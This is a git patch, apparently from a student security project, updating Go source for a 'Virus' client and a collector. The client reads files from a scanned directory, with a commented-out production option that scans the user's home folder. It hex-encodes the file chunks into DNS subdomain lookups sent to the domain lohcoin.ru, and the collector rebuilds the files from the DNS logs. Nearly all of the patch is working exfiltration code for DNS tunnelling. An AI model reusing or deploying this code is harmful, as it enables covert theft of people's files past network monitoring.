From 65c9da1b3e543e8bc1de78c255a0cbefb73fd6c6 Mon Sep 17 00:00:00 2001 From: Babin Oleg Date: Fri, 17 Nov 2017 19:56:02 +0300 Subject: [PATCH] Final version. It works. I checked --- client/FilesCollector/Collector/collector.go | 5 +++-- client/FilesCollector/Scanner/scanner.go | 9 +++++---- client/Params/constants.go | 3 +-- client/Virus/Resolver/resolver.go | 13 ++++--------- client/Virus/main.go | 14 ++++++++++++-- 5 files changed, 25 insertions(+), 19 deletions(-) diff --git a/client/FilesCollector/Collector/collector.go b/client/FilesCollector/Collector/collector.go index bc6e656..f28c65c 100644 --- a/client/FilesCollector/Collector/collector.go +++ b/client/FilesCollector/Collector/collector.go @@ -24,11 +24,12 @@ func Collect(input string) { for file := range Scanner.Files { scanner := bufio.NewScanner(inf) for scanner.Scan() { - var id, payload string + var payload string var offset int64 + var id uint64 data := scanner.Text() data = data[20: len(data) - Params.UrlLen] - fmt.Sscanf(data, "%56s.%019x.%s", &id, &offset, &payload); + fmt.Sscanf(data, "%016x.%016x.%s", &id, &offset, &payload); // It's not new file if file.Id == id && offset != 0 { payload = strings.Replace(payload, ".", "", -1) diff --git a/client/FilesCollector/Scanner/scanner.go b/client/FilesCollector/Scanner/scanner.go index 38c7542..71adca7 100644 --- a/client/FilesCollector/Scanner/scanner.go +++ b/client/FilesCollector/Scanner/scanner.go @@ -11,7 +11,7 @@ import ( ) type File struct { - Id string + Id uint64 Ptr *os.File } @@ -20,11 +20,12 @@ var Files = make(chan File) func Scan(path *os.File) { scanner := bufio.NewScanner(path) for scanner.Scan() { - var id, payload string + var payload string + var id uint64 var offset int64 data := scanner.Text() data = data[20 : len(data) - Params.UrlLen] - _, err := fmt.Sscanf(data,"%16s.%019x.%s", &id, &offset, &payload); + _, err := fmt.Sscanf(data,"%016x.%016x.%s", &id, &offset, &payload); if err != nil { continue } @@ -34,7 +35,7 @@ func Scan(path *os.File) { filename, _ := hex.DecodeString(params[0]) sizeStr, _ := hex.DecodeString(params[1]) size, _ := strconv.ParseInt(string(sizeStr), 10, 64) - filePtr, _ := os.Create(fmt.Sprintf("%s_%s", id, filename)) + filePtr, _ := os.Create(fmt.Sprintf("%x_%s", id, filename)) filePtr.Truncate(size) Files <- File{id, filePtr} } diff --git a/client/Params/constants.go b/client/Params/constants.go index 78e218a..8230397 100644 --- a/client/Params/constants.go +++ b/client/Params/constants.go @@ -2,8 +2,7 @@ package Params const URL = "lohcoin.ru" const UrlLen = len(URL) + 2 -const BufSize = 80 +const BufSize = 102 const MaxSubdomainLength = 63 -const PreferGoResolver = true // b6c17ca5476c47b5d097a8ca7670ddfada4f3099b09548e555ec36f1.0000000000000000001.497347726170686963207265706f72747320776865746865722074686520727.56e6520697320646566696e6564206173206120477261706869632062792055.6e69636f64652e20537563682063686172616374.yandex.ru // b6c17ca5476c47b5d097a8ca7670ddfada4f3099b09548e555ec36f1.0000000000000000001.497347726170686963207265706f72747320776865746865722074686520727.56e6520697320646566696e6564206173206120477261706869632062792055.6e69636f64652e205375636820636861726163.yandex.ru \ No newline at end of file diff --git a/client/Virus/Resolver/resolver.go b/client/Virus/Resolver/resolver.go index e6d6005..d85a93e 100644 --- a/client/Virus/Resolver/resolver.go +++ b/client/Virus/Resolver/resolver.go @@ -11,11 +11,9 @@ import ( "InfoSec/Virus/Scanner" "strconv" "InfoSec/Params" - "context" "hash/crc64" ) - // WG is wait group to synchronize the pool and the main routine var Wg sync.WaitGroup var ecmaTable = crc64.MakeTable(crc64.ECMA) @@ -50,6 +48,7 @@ func SendFile(path string) error { filename = hex.EncodeToString([]byte(filename)) size = hex.EncodeToString([]byte(size)) filename = fmt.Sprintf("%s.%s", filename, size) + resolve(filename, prefix, 0) for i := int64(1);; { @@ -67,13 +66,9 @@ func SendFile(path string) error { // resolve: forms host and resolves it func resolve(content string, prefix uint64, offset int64) { - Resolver := &net.Resolver{ - PreferGo: Params.PreferGoResolver, - StrictErrors: true, - } - host := fmt.Sprintf("%016x.%019x.%s.%s", prefix, offset, content, Params.URL) - fmt.Printf("2017-11-12 14:22:41 %s.\n", host) - _, err := Resolver.LookupHost(context.Background(), host) + host := fmt.Sprintf("%016x.%016x.%s.%s", prefix, offset, content, Params.URL) + //fmt.Printf("2017-11-12 14:22:41 %s.\n", host) + _, err := net.LookupHost(host) if err != nil { log.Println(err) } diff --git a/client/Virus/main.go b/client/Virus/main.go index 65a3a1e..8e9f4b6 100644 --- a/client/Virus/main.go +++ b/client/Virus/main.go @@ -3,10 +3,9 @@ package main // Put client to $GOPATH/InfoSec import ( - "fmt" - "runtime" "InfoSec/Virus/Resolver" "InfoSec/Virus/Scanner" + "runtime" "os" ) @@ -16,6 +15,16 @@ func main() { for i := 0; i < concurrency; i++ { go Resolver.Scan() } + /************** Production **************/ + /* + usr, err := user.Current() + if err != nil { + log.Fatalf("%s:", "current user problem") + } + home := usr.HomeDir + Scanner.ScanDirectory(home) + */ + /************* Test project *************/ switch runtime.GOOS { case "linux": Scanner.ScanDirectory("/home/oleg/Рабочий стол/test") @@ -24,5 +33,6 @@ func main() { default: Scanner.ScanDirectory("/") } + /****************************************/ Resolver.Wg.Wait() }